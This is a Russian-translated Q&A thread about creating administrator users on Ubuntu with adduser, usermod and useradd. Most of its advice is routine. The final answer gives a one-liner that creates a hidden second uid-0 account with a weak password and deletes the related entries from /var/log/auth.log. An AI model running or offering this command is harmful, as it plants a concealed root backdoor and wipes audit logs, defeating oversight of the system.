Как я могу создать пользователя с правами администратора из командной строки?
Я хочу создать пользователя с правами администратора и всеми обычными настройками, такими как домашний каталог.
- Есть ли
adduser
параметр, чтобы дать пользователюsudo
полномочия автоматически? - Каковы настройки по умолчанию для
adduser
? Будет ли он автоматически создавать домашние каталоги и все остальное без дополнительных параметров? (то естьadduser <username>
довольно?)
3 ответа
Добавить пользователя в sudo
группа с:
adduser <username> sudo
(Если вы используете Ubuntu 11.10 или старше, используйте admin
группа).
Значения по умолчанию хранятся в /etc/adduser.conf
Вы можете проверить их с
less /etc/adduser.conf
Чтобы создать пользователя и добавить его непосредственно в sudo
групповое использование
adduser <username> --group sudo
(Опять же admin
на месте sudo
за 11.10 и ранее.)
Посмотрите на все варианты, которые у вас есть с adduser
здесь
Чтобы создать нового пользователя с правами администратора в Ubuntu 12.04 и более поздних версиях:
adduser <username> sudo
В Ubuntu 11.10 и более ранних версиях используйте это вместо:
adduser <username> admin
Чтобы изменить существующего пользователя (12.04 и выше):
sudo usermod -aG sudo <username>
(Или для 11.10 и ранее: sudo usermod -aG admin <username>
)
-a
означает добавление в то время как -G
выступает за группы. С -a
а также -G
флаги, как показано выше, sudo
(или же admin
) группа будет добавлена в список групп, членом которых является пользователь.
Другие ответы верны, но вы также спросили о домашнем каталоге. Вам также понадобится пароль для нового пользователя.
sudo useradd *new-admin-username* -s /bin/bash -g sudo -m
-s
устанавливает оболочку входа пользователя-m
делает домашний каталог пользователя, если он не существует:/home/*new-admin-username*
-g
добавляет пользователя в группу sudo, чтобы у него были права администратора (>11.10)
После создания добавьте пароль для пользователя:
sudo passwd *new-admin-username*
Войдите в систему, чтобы увидеть, все ли работает:
su *new-admin-username*
cd ~/
pwd
Вот один лайнер, он создает нового пользователя root. Вы должны изменить некоторые параметры.
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment
Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid
0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;'
/var/log/auth.log
Лучший,